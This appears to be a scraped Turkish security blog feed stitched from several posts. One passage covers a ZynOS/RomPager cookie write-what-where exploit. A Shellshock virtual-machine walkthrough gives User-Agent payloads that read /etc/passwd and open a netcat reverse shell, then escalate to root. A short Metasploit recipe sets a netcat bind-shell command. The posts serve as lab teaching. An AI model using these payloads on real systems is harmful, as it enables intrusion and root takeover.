Burada yapılan işlemler özetle şu şekilde (“CX=value” formatını hatırlayın);
Son adım bana biyerden tanıdık geliyor..
Bu pattern x86 mimarisinde de sıklıkla karşılaştığım dizi elemanlarına erişme pattern’i. (bkz: x86 Asm Cheat Sheet). Buradan anlaşılacağı üzere gönderdiğimiz cookie’ler, her elemanı 40 byte olan -nitekim cookie ile gönderilen değerimiz 40 karakter- bir dizide tutuluyor. Biz sunucuya “C0=blabla” şeklinde bir cookie gönderdiğimizde aslında cookie dizisinin 0. indexine “blabla” değerini yazmış oluyoruz. Uygulama girdiyi alırken herhangi bir sınır kontrolü yapmadığı içinde write-what-where durumu oluşuyor (yani istediğimiz adrese istediğimiz değeri yazabiliyoruz).
Zafiyeti tanımladığımıza göre şimdi istismarına geçelim.
ZynOS‘in zafiyeti istismar etmemizi kolaylaştıracak bir özelliği var; pswauthen. Komut arayüzünden bu komutu ‘0’ argümanıyla birlikte girdiğiniz takdirde geçici bir süre için web arayüzüne şifresiz erişim sağlayabiliyorsunuz. Komutun yaptığı şey ise belli bir adresteki flag değerini sıfıra eşitlemek. Daha sonradan Rompager bu adresteki değere bakıp 0’ı gördüğünde kullanıcıya şifresiz erişim sağlıyor. Bu da demek oluyor ki elimizdeki zafiyeti kullanarak bu adresin içerisini sıfırlayıp modem arayüzüne şifresiz şekilde erişebiliriz! Tek yapmamız gereken flag adresi ile dizinin adresi arasındaki farkı bulup 40’a bölmek ve bunu uygun cookie formatında yazıp request halinde sunucuya göndermek.
Göndermemiz gereken cookie değeri: “C107353880=\0”
Cookie değeri null-byte içereceğinden request’i netcat ile göndermeniz gerekir.
Böylece zafiyetimizi istismar etmiş olduk.
Bu zafiyeti kullanan bir malware salgını hakkında yazdığım raporu buradan okuyabilirsiniz.
Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız. Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz. İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera […]
]]>Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız.
Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz.
İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera yazıp girdiğinizde sizi aşağıdaki gibi bir ekran karşılıyor olacaktır.
Bu ekranı gördükten sonra hiçbir şey bilmeyen bir saldırganmışcasına ilk olarak CTRL + U ile sayfa kaynağını görüntülüyoruz ve orada aşağıdaki kod betiği dikkatimizi çekiyor.
Yukarıdaki CGI scripti sistem komutlarını çalıştırıp onları web sayfasında göstermeye yarıyor. Yani burada Shellshock zaafiyeti için hazır bir durum var.
BurpSuite programımızı açıyoruz.
‘Proxy’ sekmesinden ‘Intercept is on’ durumda olduğunu kontrol edip tekrar sayfamıza giriyoruz. Ardından sağ click yaparak ‘Send to Repeater’ diyoruz.
Biz burada HTTP isteklerini kullanarak saldırıyı gerçekleştirip ‘reverse shell’ almaya çalışacağız. Bunun için de ‘User Agent’ isimli HTTP Parametresini kullanacağız.
Bunun için daha önce ‘Repeater’ kısmında gönderdiğimiz isteğimizi görmek için, BurpSuite de üst kısımdan ‘Repeater’ sekmesini seçiyoruz ve isteğimiz karşımıza çıkıyor.
Ardından ‘User Agent’ kısmına:
() { :; }; /bin/bash -c 'ping -c 3 172.168.2.1; id; cat /etc/passwd'
kodunu ekliyoruz ve ‘Repeater’ kısmında bulunan ‘Go’ butonuna basarak etc/passwd dosyasını okumaya çalışıyoruz. Ve gelen değerlerde /etc/passwd dosyasını başarıyla okuduğumuzu görüyoruz.
Ardından, /etc/shadow v.s gibi dosyaları deneyip okuduktan sonra zaafiyeti tam olarak kullanabileceğimizi anlıyoruz. Bu durumda daha da ileri gidebilmek için içeriden bir erişim kazanma maksadıyla ‘reverse shell’ almaya çalışıyoruz. Bunun için, şu kodu yine ‘User-Agent’ kısmında kullanmamız gerekiyor.
() { :; }; /bin/bash -c 'nc IPADRESINIZ PORT -e /bin/sh'
Ardından, kullanacağımız portu da netcat ile dinlemeye almak için,
nc -lvp PORT
komutunu kullanmamız gerekiyor. Zaten ‘reverse shell’ almak için kullandığımız kodu detaylı incelerseniz nc komutu ile netcati aktifleştirdiğimizi görebilirsiniz.
‘Reverse shell’ kodumuzu ‘User-Agent’ parametresine eklemeden önce, yukaradaki ‘netcat’ komutu ile gerekli portu dinlemeye alıyoruz, ardından ‘Repeater’ sekmesindeki ‘Go’ butonuna ekrar basıp ‘reverse shell’imizi makineden alıyor ve içeriye erişim sağlıyoruz.
Başarılı bir biçimde bağlantıyı sağladıktan sonra,
sudo -s
komutuyla root olmaya çalıştığımızda şifre istemeden direkt olarak ‘root’ yetkilerini kazandık. Artık sistemde istediğimiz gibi at koşturabiliriz.
Yazımız burada sona eriyor, kafanıza takılan bir sorunuz olursa profilde bulunan iletişim adreslerinden bana ulaşabilirsiniz.
İyi shocklamalar!
]]>What is Shellshock? Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash […]
EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan
]]>What is Shellshock?
Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
How to use?
msfconsole
search shellshock
use auxiliary/server/dhclient/dhclient_bash_env
info
show options
set SVRHOST 192.168.131.61
set CMD /bin/nc -l -p6996 -e /bin/sh
set NETMASK 255.255.255.0
exploit
c::\nc 192.168.131.61 6996
ifconfig
whoami
EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan
]]>